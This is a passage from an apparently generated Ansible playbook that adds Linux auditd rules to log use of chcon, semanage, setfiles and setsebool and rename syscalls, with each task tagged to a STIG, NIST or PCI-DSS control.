        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chcon -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chcon -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/bin/chcon -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/bin/chcon -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/bin/chcon -F auid&gt;=1000
          -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030260
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_execution_chcon
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Any Attempts to Run semanage - Perform remediation of Audit rules
      for /usr/sbin/semanage
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/semanage -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/semanage -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/semanage
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/semanage -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/semanage -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/semanage
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030313
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-2(4)
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_execution_semanage
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Any Attempts to Run setfiles - Perform remediation of Audit rules
      for /usr/sbin/setfiles
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/setfiles -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/setfiles -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/setfiles
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/setfiles -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/setfiles -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/setfiles
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030314
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_execution_setfiles
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Record Any Attempts to Run setsebool - Perform remediation of Audit rules
      for /usr/sbin/setsebool
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/setsebool -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/privileged.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/privileged.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/setsebool -F auid&gt;=1000
          -F auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/setsebool
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls: []
        syscall_grouping: []

    - name: Check existence of  in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit(( -S |,)\w+)*(( -S |,){{ item }})+(( -S |,)\w+)*
          -F path=/usr/sbin/setsebool -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit)(?=.*(?:(?:-S |,)(?:{{ syscalls_found | join(&quot;|&quot;)
          }}))\b)((?:( -S |,)\w+)+)( -F path=/usr/sbin/setsebool -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit{{ syscalls | join(',') }} -F path=/usr/sbin/setsebool
          -F auid&gt;=1000 -F auid!=unset -F key=privileged
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030316
    - NIST-800-171-3.1.7
    - NIST-800-53-AC-6(9)
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - audit_rules_execution_setsebool
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set architecture for audit rename tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_rename
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for rename for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rename
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rename in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rename
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rename in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not ( ansible_architecture == &quot;aarch64&quot; )
    tags:
    - DISA-STIG-RHEL-08-030361
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.7
    - PCI-DSSv4-10.2
    - PCI-DSSv4-10.2.1
    - PCI-DSSv4-10.2.1.7
    - audit_rules_file_deletion_events_rename
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for rename for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rename
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rename in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/delete.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/delete.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - rename
        syscall_grouping:
        - unlink
        - unlinkat
        - rename
        - renameat
        - renameat2
        - rmdir

    - name: Check existence of rename in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F auid&gt;=1000 -F auid!=unset (?:-k
          |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F auid&gt;=1000
          -F auid!=unset -F key=delete
        create: true
